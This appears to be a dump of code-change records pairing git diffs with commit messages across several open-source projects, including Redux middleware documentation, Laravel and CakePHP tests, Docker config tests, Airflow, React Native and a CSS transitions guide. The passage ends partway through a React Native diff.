<ide> class AsyncApp extends Component {
<ide> </div>
<ide> }
<ide> </div>
<del> );
<add> )
<ide> }
<ide> }
<ide>
<ide> AsyncApp.propTypes = {
<ide> isFetching: PropTypes.bool.isRequired,
<ide> lastUpdated: PropTypes.number,
<ide> dispatch: PropTypes.func.isRequired
<del>};
<add>}
<ide>
<ide> function mapStateToProps(state) {
<del> const { selectedReddit, postsByReddit } = state;
<add> const { selectedReddit, postsByReddit } = state
<ide> const {
<ide> isFetching,
<ide> lastUpdated,
<ide> items: posts
<ide> } = postsByReddit[selectedReddit] || {
<ide> isFetching: true,
<ide> items: []
<del> };
<add> }
<ide>
<ide> return {
<ide> selectedReddit,
<ide> posts,
<ide> isFetching,
<ide> lastUpdated
<del> };
<add> }
<ide> }
<ide>
<del>export default connect(mapStateToProps)(AsyncApp);
<add>export default connect(mapStateToProps)(AsyncApp)
<ide> ```
<ide>
<ide> ## Dumb Components
<ide>
<ide> #### `components/Picker.js`
<ide>
<ide> ```js
<del>import React, { Component, PropTypes } from 'react';
<add>import React, { Component, PropTypes } from 'react'
<ide>
<ide> export default class Picker extends Component {
<del> render () {
<del> const { value, onChange, options } = this.props;
<add> render() {
<add> const { value, onChange, options } = this.props
<ide>
<ide> return (
<ide> <span>
<ide> export default class Picker extends Component {
<ide> }
<ide> </select>
<ide> </span>
<del> );
<add> )
<ide> }
<ide> }
<ide>
<ide> Picker.propTypes = {
<ide> ).isRequired,
<ide> value: PropTypes.string.isRequired,
<ide> onChange: PropTypes.func.isRequired
<del>};
<add>}
<ide> ```
<ide>
<ide> #### `components/Posts.js`
<ide>
<ide> ```js
<del>import React, { PropTypes, Component } from 'react';
<add>import React, { PropTypes, Component } from 'react'
<ide>
<ide> export default class Posts extends Component {
<del> render () {
<add> render() {
<ide> return (
<ide> <ul>
<ide> {this.props.posts.map((post, i) =>
<ide> <li key={i}>{post.title}</li>
<ide> )}
<ide> </ul>
<del> );
<add> )
<ide> }
<ide> }
<ide>
<ide> Posts.propTypes = {
<ide> posts: PropTypes.array.isRequired
<del>};
<add>}
<ide> ```
<ide><path>docs/advanced/Middleware.md
<ide> The most naïve solution is just to log the action and the next state yourself e
<ide> Say, you call this when creating a todo:
<ide>
<ide> ```js
<del>store.dispatch(addTodo('Use Redux'));
<add>store.dispatch(addTodo('Use Redux'))
<ide> ```
<ide>
<ide> To log the action and state, you can change it to something like this:
<ide>
<ide> ```js
<del>let action = addTodo('Use Redux');
<add>let action = addTodo('Use Redux')
<ide>
<del>console.log('dispatching', action);
<del>store.dispatch(action);
<del>console.log('next state', store.getState());
<add>console.log('dispatching', action)
<add>store.dispatch(action)
<add>console.log('next state', store.getState())
<ide> ```
<ide>
<ide> This produces the desired effect, but you wouldn’t want to do it every time.
<ide> You can extract logging into a function:
<ide>
<ide> ```js
<ide> function dispatchAndLog(store, action) {
<del> console.log('dispatching', action);
<del> store.dispatch(action);
<del> console.log('next state', store.getState());
<add> console.log('dispatching', action)
<add> store.dispatch(action)
<add> console.log('next state', store.getState())
<ide> }
<ide> ```
<ide>
<ide> You can then use it everywhere instead of `store.dispatch()`:
<ide>
<ide> ```js
<del>dispatchAndLog(store, addTodo('Use Redux'));
<add>dispatchAndLog(store, addTodo('Use Redux'))
<ide> ```
<ide>
<ide> We could end this here, but it’s not very convenient to import a special function every time.
<ide> We could end this here, but it’s not very convenient to import a special funct
<ide> What if we just replace the `dispatch` function on the store instance? The Redux store is just a plain object with [a few methods](../api/Store.md), and we’re writing JavaScript, so we can just monkeypatch the `dispatch` implementation:
<ide>
<ide> ```js
<del>let next = store.dispatch;
<add>let next = store.dispatch
<ide> store.dispatch = function dispatchAndLog(action) {
<del> console.log('dispatching', action);
<del> let result = next(action);
<del> console.log('next state', store.getState());
<del> return result;
<del>};
<add> console.log('dispatching', action)
<add> let result = next(action)
<add> console.log('next state', store.getState())
<add> return result
<add>}
<ide> ```
<ide>
<ide> This is already closer to what we want! No matter where we dispatch an action, it is guaranteed to be logged. Monkeypatching never feels right, but we can live with this for now.
<ide> If logging and crash reporting are separate utilities, they might look like this
<ide>
<ide> ```js
<ide> function patchStoreToAddLogging(store) {
<del> let next = store.dispatch;
<add> let next = store.dispatch
<ide> store.dispatch = function dispatchAndLog(action) {
<del> console.log('dispatching', action);
<del> let result = next(action);
<del> console.log('next state', store.getState());
<del> return result;
<del> };
<add> console.log('dispatching', action)
<add> let result = next(action)
<add> console.log('next state', store.getState())
<add> return result
<add> }
<ide> }
<ide>
<ide> function patchStoreToAddCrashReporting(store) {
<del> let next = store.dispatch;
<add> let next = store.dispatch
<ide> store.dispatch = function dispatchAndReportErrors(action) {
<ide> try {
<del> return next(action);
<add> return next(action)
<ide> } catch (err) {
<del> console.error('Caught an exception!', err);
<add> console.error('Caught an exception!', err)
<ide> Raven.captureException(err, {
<ide> extra: {
<ide> action,
<ide> state: store.getState()
<ide> }
<del> });
<del> throw err;
<add> })
<add> throw err
<ide> }
<del> };
<add> }
<ide> }
<ide> ```
<ide>
<ide> If these functions are published as separate modules, we can later use them to patch our store:
<ide>
<ide> ```js
<del>patchStoreToAddLogging(store);
<del>patchStoreToAddCrashReporting(store);
<add>patchStoreToAddLogging(store)
<add>patchStoreToAddCrashReporting(store)
<ide> ```
<ide>
<ide> Still, this isn’t nice.
<ide> Monkeypatching is a hack. “Replace any method you like”, what kind of API is
<ide>
<ide> ```js
<ide> function logger(store) {
<del> let next = store.dispatch;
<add> let next = store.dispatch
<ide>
<ide> // Previously:
<ide> // store.dispatch = function dispatchAndLog(action) {
<ide>
<ide> return function dispatchAndLog(action) {
<del> console.log('dispatching', action);
<del> let result = next(action);
<del> console.log('next state', store.getState());
<del> return result;
<del> };
<add> console.log('dispatching', action)
<add> let result = next(action)
<add> console.log('next state', store.getState())
<add> return result
<add> }
<ide> }
<ide> ```
<ide>
<ide> We could provide a helper inside Redux that would apply the actual monkeypatching as an implementation detail:
<ide>
<ide> ```js
<ide> function applyMiddlewareByMonkeypatching(store, middlewares) {
<del> middlewares = middlewares.slice();
<del> middlewares.reverse();
<add> middlewares = middlewares.slice()
<add> middlewares.reverse()
<ide>
<ide> // Transform dispatch function with each middleware.
<ide> middlewares.forEach(middleware =>
<ide> store.dispatch = middleware(store)
<del> );
<add> )
<ide> }
<ide> ```
<ide>
<ide> We could use it to apply multiple middleware like this:
<ide>
<ide> ```js
<del>applyMiddlewareByMonkeypatching(store, [logger, crashReporter]);
<add>applyMiddlewareByMonkeypatching(store, [ logger, crashReporter ])
<ide> ```
<ide>
<ide> However, it is still monkeypatching.
<ide> Why do we even overwrite `dispatch`? Of course, to be able to call it later, but
<ide> ```js
<ide> function logger(store) {
<ide> // Must point to the function returned by the previous middleware:
<del> let next = store.dispatch;
<add> let next = store.dispatch
<ide>
<ide> return function dispatchAndLog(action) {
<del> console.log('dispatching', action);
<del> let result = next(action);
<del> console.log('next state', store.getState());
<del> return result;
<del> };
<add> console.log('dispatching', action)
<add> let result = next(action)
<add> console.log('next state', store.getState())
<add> return result
<add> }
<ide> }
<ide> ```
<ide>
<ide> But there’s also a different way to enable chaining. The middleware could acce
<ide> function logger(store) {
<ide> return function wrapDispatchToAddLogging(next) {
<ide> return function dispatchAndLog(action) {
<del> console.log('dispatching', action);
<del> let result = next(action);
<del> console.log('next state', store.getState());
<del> return result;
<del> };
<add> console.log('dispatching', action)
<add> let result = next(action)
<add> console.log('next state', store.getState())
<add> return result
<add> }
<ide> }
<ide> }
<ide> ```
<ide> It’s a [“we need to go deeper”](http://knowyourmeme.com/memes/we-need-to-g
<ide>
<ide> ```js
<ide> const logger = store => next => action => {
<del> console.log('dispatching', action);
<del> let result = next(action);
<del> console.log('next state', store.getState());
<del> return result;
<del>};
<add> console.log('dispatching', action)
<add> let result = next(action)
<add> console.log('next state', store.getState())
<add> return result
<add>}
<ide>
<ide> const crashReporter = store => next => action => {
<ide> try {
<del> return next(action);
<add> return next(action)
<ide> } catch (err) {
<del> console.error('Caught an exception!', err);
<add> console.error('Caught an exception!', err)
<ide> Raven.captureException(err, {
<ide> extra: {
<ide> action,
<ide> state: store.getState()
<ide> }
<del> });
<del> throw err;
<add> })
<add> throw err
<ide> }
<ide> }
<ide> ```
<ide> Instead of `applyMiddlewareByMonkeypatching()`, we could write `applyMiddleware(
<ide> // That's *not* Redux API.
<ide>
<ide> function applyMiddleware(store, middlewares) {
<del> middlewares = middlewares.slice();
<del> middlewares.reverse();
<add> middlewares = middlewares.slice()
<add> middlewares.reverse()
<ide>
<del> let dispatch = store.dispatch;
<add> let dispatch = store.dispatch
<ide> middlewares.forEach(middleware =>
<ide> dispatch = middleware(store)(dispatch)
<del> );
<add> )
<ide>
<del> return Object.assign({}, store, { dispatch });
<add> return Object.assign({}, store, { dispatch })
<ide> }
<ide> ```
<ide>
<ide> Given this middleware we just wrote:
<ide>
<ide> ```js
<ide> const logger = store => next => action => {
<del> console.log('dispatching', action);
<del> let result = next(action);
<del> console.log('next state', store.getState());
<del> return result;
<del>};
<add> console.log('dispatching', action)
<add> let result = next(action)
<add> console.log('next state', store.getState())
<add> return result
<add>}
<ide>
<ide> const crashReporter = store => next => action => {
<ide> try {
<del> return next(action);
<add> return next(action)
<ide> } catch (err) {
<del> console.error('Caught an exception!', err);
<add> console.error('Caught an exception!', err)
<ide> Raven.captureException(err, {
<ide> extra: {
<ide> action,
<ide> state: store.getState()
<ide> }
<del> });
<del> throw err;
<add> })
<add> throw err
<ide> }
<ide> }
<ide> ```
<ide>
<ide> Here’s how to apply it to a Redux store:
<ide>
<ide> ```js
<del>import { createStore, combineReducers, applyMiddleware } from 'redux';
<add>import { createStore, combineReducers, applyMiddleware } from 'redux'
<ide>
<ide> // applyMiddleware takes createStore() and returns
<ide> // a function with a compatible API.
<del>let createStoreWithMiddleware = applyMiddleware(logger, crashReporter)(createStore);
<add>let createStoreWithMiddleware = applyMiddleware(logger, crashReporter)(createStore)
<ide>
<ide> // Use it like you would use createStore()
<del>let todoApp = combineReducers(reducers);
<del>let store = createStoreWithMiddleware(todoApp);
<add>let todoApp = combineReducers(reducers)
<add>let store = createStoreWithMiddleware(todoApp)
<ide> ```
<ide>
<ide> That’s it! Now any actions dispatched to the store instance will flow through `logger` and `crashReporter`:
<ide>
<ide> ```js
<ide> // Will flow through both logger and crashReporter middleware!
<del>store.dispatch(addTodo('Use Redux'));
<add>store.dispatch(addTodo('Use Redux'))
<ide> ```
<ide>
<ide> ## Seven Examples
<ide> Each function below is a valid Redux middleware. They are not equally useful, bu
<ide> * Logs all actions and states after they are dispatched.
<ide> */
<ide> const logger = store => next => action => {
<del> console.group(action.type);
<del> console.info('dispatching', action);
<del> let result = next(action);
<del> console.log('next state', store.getState());
<del> console.groupEnd(action.type);
<del> return result;
<del>};
<add> console.group(action.type)
<add> console.info('dispatching', action)
<add> let result = next(action)
<add> console.log('next state', store.getState())
<add> console.groupEnd(action.type)
<add> return result
<add>}
<ide>
<ide> /**
<ide> * Sends crash reports as state is updated and listeners are notified.
<ide> */
<ide> const crashReporter = store => next => action => {
<ide> try {
<del> return next(action);
<add> return next(action)
<ide> } catch (err) {
<del> console.error('Caught an exception!', err);
<add> console.error('Caught an exception!', err)
<ide> Raven.captureException(err, {
<ide> extra: {
<ide> action,
<ide> state: store.getState()
<ide> }
<del> });
<del> throw err;
<add> })
<add> throw err
<ide> }
<ide> }
<ide>
<ide> const crashReporter = store => next => action => {
<ide> */
<ide> const timeoutScheduler = store => next => action => {
<ide> if (!action.meta || !action.meta.delay) {
<del> return next(action);
<add> return next(action)
<ide> }
<ide>
<ide> let timeoutId = setTimeout(
<ide> () => next(action),
<ide> action.meta.delay
<del> );
<add> )
<ide>
<ide> return function cancel() {
<del> clearTimeout(timeoutId);
<del> };
<del>};
<add> clearTimeout(timeoutId)
<add> }
<add>}
<ide>
<ide> /**
<ide> * Schedules actions with { meta: { raf: true } } to be dispatched inside a rAF loop
<ide> * frame. Makes `dispatch` return a function to remove the action from the queue in
<ide> * this case.
<ide> */
<ide> const rafScheduler = store => next => {
<del> let queuedActions = [];
<del> let frame = null;
<add> let queuedActions = []
<add> let frame = null
<ide>
<ide> function loop() {
<del> frame = null;
<add> frame = null
<ide> try {
<ide> if (queuedActions.length) {
<del> next(queuedActions.shift());
<add> next(queuedActions.shift())
<ide> }
<ide> } finally {
<del> maybeRaf();
<add> maybeRaf()
<ide> }
<ide> }
<ide>
<ide> function maybeRaf() {
<ide> if (queuedActions.length && !frame) {
<del> frame = requestAnimationFrame(loop);
<add> frame = requestAnimationFrame(loop)
<ide> }
<ide> }
<ide>
<ide> return action => {
<ide> if (!action.meta || !action.meta.raf) {
<del> return next(action);
<add> return next(action)
<ide> }
<ide>
<del> queuedActions.push(action);
<del> maybeRaf();
<add> queuedActions.push(action)
<add> maybeRaf()
<ide>
<ide> return function cancel() {
<ide> queuedActions = queuedActions.filter(a => a !== action)
<del> };
<del> };
<del>};
<add> }
<add> }
<add>}
<ide>
<ide> /**
<ide> * Lets you dispatch promises in addition to actions.
<ide> const rafScheduler = store => next => {
<ide> */
<ide> const vanillaPromise = store => next => action => {
<ide> if (typeof action.then !== 'function') {
<del> return next(action);
<add> return next(action)
<ide> }
<ide>
<del> return Promise.resolve(action).then(store.dispatch);
<del>};
<add> return Promise.resolve(action).then(store.dispatch)
<add>}
<ide>
<ide> /**
<ide> * Lets you dispatch special actions with a { promise } field.
<ide> const readyStatePromise = store => next => action => {
<ide> }
<ide>
<ide> function makeAction(ready, data) {
<del> let newAction = Object.assign({}, action, { ready }, data);
<del> delete newAction.promise;
<del> return newAction;
<add> let newAction = Object.assign({}, action, { ready }, data)
<add> delete newAction.promise
<add> return newAction
<ide> }
<ide>
<del> next(makeAction(false));
<add> next(makeAction(false))
<ide> return action.promise.then(
<ide> result => next(makeAction(true, { result })),
<ide> error => next(makeAction(true, { error }))
<del> );
<del>};
<add> )
<add>}
<ide>
<ide> /**
<ide> * Lets you dispatch a function instead of an action.
<ide> const readyStatePromise = store => next => action => {
<ide> const thunk = store => next => action =>
<ide> typeof action === 'function' ?
<ide> action(store.dispatch, store.getState) :
<del> next(action);
<add> next(action)
<ide>
<ide>
<ide> // You can use all of them! (It doesn’t mean you should.)
<ide> let createStoreWithMiddleware = applyMiddleware(
<ide> readyStatePromise,
<ide> logger,
<ide> crashReporter
<del>)(createStore);
<del>let todoApp = combineReducers(reducers);
<del>let store = createStoreWithMiddleware(todoApp);
<add>)(createStore)
<add>let todoApp = combineReducers(reducers)
<add>let store = createStoreWithMiddleware(todoApp)
<ide> ``` | 3 |
PHP | PHP | improve http\response test coverage | ab24f99c5e843cf7ce24c9ff0b12d1b7bbc96ca2 | <ide><path>tests/Http/HttpResponseTest.php
<ide> public function testJsonResponsesAreConvertedAndHeadersAreSet()
<ide> $response = new Illuminate\Http\Response(new JsonableStub);
<ide> $this->assertEquals('foo', $response->getContent());
<ide> $this->assertEquals('application/json', $response->headers->get('Content-Type'));
<add>
<add> $response = new Illuminate\Http\Response();
<add> $response->setContent(array('foo'=>'bar'));
<add> $this->assertEquals('{"foo":"bar"}', $response->getContent());
<add> $this->assertEquals('application/json', $response->headers->get('Content-Type'));
<ide> }
<ide>
<ide>
<ide> public function testRenderablesAreRendered()
<ide> $response = new Illuminate\Http\Response($mock);
<ide> $this->assertEquals('foo', $response->getContent());
<ide> }
<add>
<add>
<add> public function testHeader()
<add> {
<add> $response = new Illuminate\Http\Response();
<add> $this->assertNull($response->headers->get('foo'));
<add> $response->header('foo', 'bar');
<add> $this->assertEquals('bar', $response->headers->get('foo'));
<add> $response->header('foo', 'baz', false);
<add> $this->assertEquals('bar', $response->headers->get('foo'));
<add> $response->header('foo', 'baz');
<add> $this->assertEquals('baz', $response->headers->get('foo'));
<add> }
<add>
<add>
<add> public function testWithCookie()
<add> {
<add> $response = new Illuminate\Http\Response();
<add> $this->assertEquals(0, count($response->headers->getCookies()));
<add> $this->assertEquals($response, $response->withCookie(new \Symfony\Component\HttpFoundation\Cookie('foo', 'bar')));
<add> $cookies = $response->headers->getCookies();
<add> $this->assertEquals(1, count($cookies));
<add> $this->assertEquals('foo', $cookies[0]->getName());
<add> $this->assertEquals('bar', $cookies[0]->getValue());
<add> }
<add>
<add>
<add> public function testGetOriginalContent()
<add> {
<add> $arr = array('foo'=>'bar');
<add> $response = new Illuminate\Http\Response();
<add> $response->setContent($arr);
<add> $this->assertTrue($arr === $response->getOriginalContent());
<add> }
<ide>
<ide>
<ide> public function testInputOnRedirect() | 1 |
PHP | PHP | add a simple bc test | bd631672b6ffcc4b8c8dc1c3c0a0b65cd6ca9753 | <ide><path>tests/TestCase/Core/StaticConfigTraitTest.php
<ide> public function testCanUpdateClassMap()
<ide> $result = TestLogStaticConfig::dsnClassMap(['my' => 'Special\OtherLog']);
<ide> $this->assertEquals($expected, $result, "Should be possible to add to the map");
<ide> }
<add>
<add> /**
<add> * Tests that former handling of integer keys coming in from PHP internal conversions
<add> * won't break in 3.4.
<add> *
<add> * @return void
<add> */
<add> public function testConfigBC() {
<add> $result = TestLogStaticConfig::config(404);
<add> $this->assertNull($result);
<add> }
<ide> } | 1 |
PHP | PHP | add tests for container method binding | 45306f63049eaa6e49b695e6a162ceb8e72843f0 | <ide><path>tests/Container/ContainerTest.php
<ide> public function testCallWithGlobalMethodName()
<ide> $this->assertEquals('taylor', $result[1]);
<ide> }
<ide>
<add> public function testCallWithBoundMethod()
<add> {
<add> $container = new Container;
<add> $container->bindMethod('ContainerTestCallStub@unresolvable', function ($stub) {
<add> return $stub->unresolvable('foo', 'bar');
<add> });
<add> $result = $container->call('ContainerTestCallStub@unresolvable');
<add> $this->assertEquals(['foo', 'bar'], $result);
<add>
<add> $container = new Container;
<add> $container->bindMethod('ContainerTestCallStub@unresolvable', function ($stub) {
<add> return $stub->unresolvable('foo', 'bar');
<add> });
<add> $result = $container->call([new ContainerTestCallStub, 'unresolvable']);
<add> $this->assertEquals(['foo', 'bar'], $result);
<add> }
<add>
<ide> public function testContainerCanInjectDifferentImplementationsDependingOnContext()
<ide> {
<ide> $container = new Container;
<ide> public function inject(ContainerConcreteStub $stub, $default = 'taylor')
<ide> {
<ide> return func_get_args();
<ide> }
<add>
<add> public function unresolvable($foo, $bar)
<add> {
<add> return func_get_args();
<add> }
<ide> }
<ide>
<ide> class ContainerTestContextInjectOne | 1 |
Javascript | Javascript | preserve old behavior for special '@each' keys | f5dd39206f9727952b7a583ac60ba7630c2305b1 | <ide><path>packages/sproutcore-metal/lib/watching.js
<ide> var ChainNode = function(parent, key, value, separator) {
<ide> this._object = parent.value();
<ide> if (this._object) addChainWatcher(this._object, this._key, this);
<ide> }
<add>
<add> // Special-case: the EachProxy relies on immediate evaluation to
<add> // establish its observers.
<add> if (this._parent && this._parent._key === '@each')
<add> this.value();
<ide> };
<ide>
<ide>
<ide> Wp.didChange = function() {
<ide> addChainWatcher(obj, this._key, this);
<ide> }
<ide> this._value = undefined;
<add>
<add> // Special-case: the EachProxy relies on immediate evaluation to
<add> // establish its observers.
<add> if (this._parent && this._parent._key === '@each')
<add> this.value();
<ide> }
<ide>
<ide> // then notify chains... | 1 |
Python | Python | add __repr__ to serializeddagmodel | 1dc852d4afe8073cf9b410cc5e98955d2028cb4a | <ide><path>airflow/models/serialized_dag.py
<ide> def __init__(self, dag: DAG):
<ide> self.data = SerializedDAG.to_dict(dag)
<ide> self.last_updated = timezone.utcnow()
<ide>
<add> def __repr__(self):
<add> return f"<SerializedDag: {self.dag_id}>"
<add>
<ide> @classmethod
<ide> @provide_session
<ide> def write_dag(cls, dag: DAG, min_update_interval: Optional[int] = None, session=None): | 1 |
PHP | PHP | fix data normalization | 9d168c4af89e50e9de36398913aa69a4f04da730 | <ide><path>src/View/Helper/HtmlHelper.php
<ide> public function tableCells(
<ide> bool $useCount = false,
<ide> bool $continueOddEven = true
<ide> ): string {
<del> if (is_string($data) || empty($data[0]) || !is_array($data[0])) {
<add> if (!is_array($data)) {
<add> $data = [[$data]];
<add> } elseif (empty($data[0]) || !is_array($data[0])) {
<ide> $data = [$data];
<ide> }
<ide>
<ide><path>tests/TestCase/View/Helper/HtmlHelperTest.php
<ide> public function testTableCells()
<ide> '/tr',
<ide> ];
<ide> $this->assertHtml($expected, $result);
<add>
<add> $tr = 'string';
<add> $result = $this->Html->tableCells($tr);
<add> $expected = [
<add> '<tr',
<add> '<td', 'string', '/td',
<add> '/tr',
<add> ];
<add> $this->assertHtml($expected, $result);
<ide> }
<ide>
<ide> /** | 2 |
Go | Go | move "common" tests | 96f843ef3054c632a020670d007ae74508c09d88 | <ide><path>daemon/config/config_common_unix_test.go
<del>// +build !windows
<del>
<del>package config // import "github.com/docker/docker/daemon/config"
<del>
<del>import (
<del> "testing"
<del>
<del> "github.com/docker/docker/api/types"
<del>)
<del>
<del>func TestUnixValidateConfigurationErrors(t *testing.T) {
<del> testCases := []struct {
<del> config *Config
<del> }{
<del> // Can't override the stock runtime
<del> {
<del> config: &Config{
<del> Runtimes: map[string]types.Runtime{
<del> StockRuntimeName: {},
<del> },
<del> },
<del> },
<del> // Default runtime should be present in runtimes
<del> {
<del> config: &Config{
<del> Runtimes: map[string]types.Runtime{
<del> "foo": {},
<del> },
<del> DefaultRuntime: "bar",
<del> },
<del> },
<del> }
<del> for _, tc := range testCases {
<del> err := Validate(tc.config)
<del> if err == nil {
<del> t.Fatalf("expected error, got nil for config %v", tc.config)
<del> }
<del> }
<del>}
<del>
<del>func TestUnixGetInitPath(t *testing.T) {
<del> testCases := []struct {
<del> config *Config
<del> expectedInitPath string
<del> }{
<del> {
<del> config: &Config{
<del> InitPath: "some-init-path",
<del> },
<del> expectedInitPath: "some-init-path",
<del> },
<del> {
<del> config: &Config{
<del> DefaultInitBinary: "foo-init-bin",
<del> },
<del> expectedInitPath: "foo-init-bin",
<del> },
<del> {
<del> config: &Config{
<del> InitPath: "init-path-A",
<del> DefaultInitBinary: "init-path-B",
<del> },
<del> expectedInitPath: "init-path-A",
<del> },
<del> {
<del> config: &Config{},
<del> expectedInitPath: "docker-init",
<del> },
<del> }
<del> for _, tc := range testCases {
<del> initPath := tc.config.GetInitPath()
<del> if initPath != tc.expectedInitPath {
<del> t.Fatalf("expected initPath to be %v, got %v", tc.expectedInitPath, initPath)
<del> }
<del> }
<del>}
<ide><path>daemon/config/config_unix_test.go
<ide> package config // import "github.com/docker/docker/daemon/config"
<ide> import (
<ide> "testing"
<ide>
<add> "github.com/docker/docker/api/types"
<ide> "github.com/docker/docker/opts"
<ide> units "github.com/docker/go-units"
<ide> "github.com/spf13/pflag"
<ide> func TestDaemonConfigurationMergeShmSize(t *testing.T) {
<ide> expectedValue := 1 * 1024 * 1024 * 1024
<ide> assert.Check(t, is.Equal(int64(expectedValue), cc.ShmSize.Value()))
<ide> }
<add>
<add>func TestUnixValidateConfigurationErrors(t *testing.T) {
<add> testCases := []struct {
<add> config *Config
<add> }{
<add> // Can't override the stock runtime
<add> {
<add> config: &Config{
<add> Runtimes: map[string]types.Runtime{
<add> StockRuntimeName: {},
<add> },
<add> },
<add> },
<add> // Default runtime should be present in runtimes
<add> {
<add> config: &Config{
<add> Runtimes: map[string]types.Runtime{
<add> "foo": {},
<add> },
<add> DefaultRuntime: "bar",
<add> },
<add> },
<add> }
<add> for _, tc := range testCases {
<add> err := Validate(tc.config)
<add> if err == nil {
<add> t.Fatalf("expected error, got nil for config %v", tc.config)
<add> }
<add> }
<add>}
<add>
<add>func TestUnixGetInitPath(t *testing.T) {
<add> testCases := []struct {
<add> config *Config
<add> expectedInitPath string
<add> }{
<add> {
<add> config: &Config{
<add> InitPath: "some-init-path",
<add> },
<add> expectedInitPath: "some-init-path",
<add> },
<add> {
<add> config: &Config{
<add> DefaultInitBinary: "foo-init-bin",
<add> },
<add> expectedInitPath: "foo-init-bin",
<add> },
<add> {
<add> config: &Config{
<add> InitPath: "init-path-A",
<add> DefaultInitBinary: "init-path-B",
<add> },
<add> expectedInitPath: "init-path-A",
<add> },
<add> {
<add> config: &Config{},
<add> expectedInitPath: "docker-init",
<add> },
<add> }
<add> for _, tc := range testCases {
<add> initPath := tc.config.GetInitPath()
<add> if initPath != tc.expectedInitPath {
<add> t.Fatalf("expected initPath to be %v, got %v", tc.expectedInitPath, initPath)
<add> }
<add> }
<add>} | 2 |
Javascript | Javascript | add rtl option to flatlist example | 27bbb5ef37390fdef087327181cf5daaaf7f13f2 | <ide><path>packages/rn-tester/js/examples/FlatList/FlatList-basic.js
<ide> import * as React from 'react';
<ide> import {
<ide> Alert,
<ide> Animated,
<add> I18nManager,
<ide> Platform,
<ide> StyleSheet,
<ide> TextInput,
<ide> type State = {|
<ide> fadingEdgeLength: number,
<ide> onPressDisabled: boolean,
<ide> textSelectable: boolean,
<add> isRTL: boolean,
<ide> |};
<ide>
<add>const IS_RTL = I18nManager.isRTL;
<add>
<ide> class FlatListExample extends React.PureComponent<Props, State> {
<ide> state: State = {
<ide> data: genItemData(100),
<ide> class FlatListExample extends React.PureComponent<Props, State> {
<ide> fadingEdgeLength: 0,
<ide> onPressDisabled: false,
<ide> textSelectable: true,
<add> isRTL: IS_RTL,
<ide> };
<ide>
<ide> _onChangeFilterText = filterText => {
<ide> class FlatListExample extends React.PureComponent<Props, State> {
<ide> _setBooleanValue: string => boolean => void = key => value =>
<ide> this.setState({[key]: value});
<ide>
<add> _setIsRTL: boolean => void = value => {
<add> I18nManager.forceRTL(value);
<add> this.setState({isRTL: value});
<add> Alert.alert(
<add> 'Reload this page',
<add> 'Please reload this page to change the UI direction! ' +
<add> 'All examples in this app will be affected. ' +
<add> 'Check them out to see what they look like in RTL layout.',
<add> );
<add> };
<add>
<ide> render(): React.Node {
<ide> const filterRegex = new RegExp(String(this.state.filterText), 'i');
<ide> const filter = (item: Item) =>
<ide> class FlatListExample extends React.PureComponent<Props, State> {
<ide> this.state.useFlatListItemComponent,
<ide> this._setBooleanValue('useFlatListItemComponent'),
<ide> )}
<add> {renderSmallSwitchOption(
<add> 'Is RTL',
<add> this.state.isRTL,
<add> this._setIsRTL,
<add> )}
<ide> {Platform.OS === 'android' && (
<ide> <View>
<ide> <TextInput | 1 |
Text | Text | add content to using css transitions stub | f6bcd196005e25f0d7177b0cfbefb6a8e18f88af | <ide><path>guide/english/css/using-css-transitions/index.md
<ide> title: Using CSS Transitions
<ide> ---
<ide> ## Using CSS Transitions
<ide>
<del>CSS Transitions are used to create smooth movement of the elements in a website. They require less code than CSS animations, and tend to be less complex.
<add>**CSS transitions** provide a way to control animation speed when changing CSS properties. Instead of having property changes take effect immediately, you can cause the changes in a property to take place over a period of time.
<ide>
<del>Transitions take an element from one CSS value to another. Here's an example:
<add>CSS transitions let you decide which properties to animate (by listing them explicitly), when the animation will start (by setting a delay), how long the transition will last (by setting a duration), and how the transition will run (by defining a timing function, e.g. linearly or quick at the beginning, slow at the end).
<ide>
<del>```css
<del>.transition-me {
<del> width: 150px;
<del> height: 50px;
<del> background: blue;
<add>#### Which CSS properties can be transitioned?
<add>
<add>[CSS animated properties](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_animated_properties)
<add>
<add>#### Defining transitions
<add>
<add>CSS Transitions are controlled using the shorthand `transition` property.
<add>You can control the individual components of the transition with the following sub-properties:
<add>
<add>`transition-property`: Name of the property, which transition should be applied.
<add>
<add>`transition-duration`: Duration over which transitions should occur.
<add>
<add>`transition-timing-function`: Function to define how intermediate values for properties are computed.
<add>
<add>`transition-delay`: Defines how long to wait between the time a property is changed and the transition actually begins.
<add>
<add>```
<add>div {
<add> transition: <property> <duration> <timing-function> <delay>;
<add>}
<add>```
<add>
<add>#### Example
<add>
<add>This example performs a four-second font size transition with a two-second delay between the time the user mouses over the element and the beginning of the animation effect:
<add>
<add>```
<add>#delay {
<add> font-size: 14px;
<add> transition-property: font-size;
<add> transition-duration: 4s;
<add> transition-delay: 2s;
<ide> }
<ide>
<del>.transition-me:hover {
<del> width: 100px;
<del> height: 150px;
<del> background: red;
<add>#delay:hover {
<add> font-size: 36px;
<ide> }
<ide> ```
<ide> | 1 |
PHP | PHP | use paginators as htmlable | 9b06643e404d11b3e14ab9711aeef1f5f72785dd | <ide><path>src/Illuminate/Pagination/AbstractPaginator.php
<ide>
<ide> use Closure;
<ide> use ArrayIterator;
<add>use Illuminate\Contracts\Support\Htmlable;
<ide>
<del>abstract class AbstractPaginator
<add>abstract class AbstractPaginator implements Htmlable
<ide> {
<ide> /**
<ide> * All of the items being paginated.
<ide> public function __call($method, $parameters)
<ide> */
<ide> public function __toString()
<ide> {
<del> return $this->render();
<add> return (string) $this->render();
<add> }
<add>
<add> /**
<add> * Render the contents of the paginator to HTML.
<add> *
<add> * @return string
<add> */
<add> public function toHtml()
<add> {
<add> return (string) $this->render();
<ide> }
<ide> } | 1 |
Javascript | Javascript | remove delete messageport.prototype.hasref | b22903eacd727c0c0c163161d128aaffd94c946e | <ide><path>lib/internal/worker.js
<ide> Object.setPrototypeOf(MessagePort.prototype, EventEmitter.prototype);
<ide> // Finally, purge methods we don't want to be public.
<ide> delete MessagePort.prototype.stop;
<ide> delete MessagePort.prototype.drain;
<del>delete MessagePort.prototype.hasRef;
<ide> MessagePort.prototype.ref = MessagePortPrototype.ref;
<ide> MessagePort.prototype.unref = MessagePortPrototype.unref;
<ide> | 1 |
Javascript | Javascript | fix comments about yoga in layoutproptype | bac24dde16565cd1341fd91fe39f0d29088bb8fe | <ide><path>Libraries/StyleSheet/LayoutPropTypes.js
<ide> var ReactPropTypes = require('React').PropTypes;
<ide>
<ide> /**
<ide> * React Native's layout system is based on Flexbox and is powered both
<del> * on iOS and Android by an open source project called css-layout:
<del> * https://github.com/facebook/css-layout
<add> * on iOS and Android by an open source project called `Yoga`:
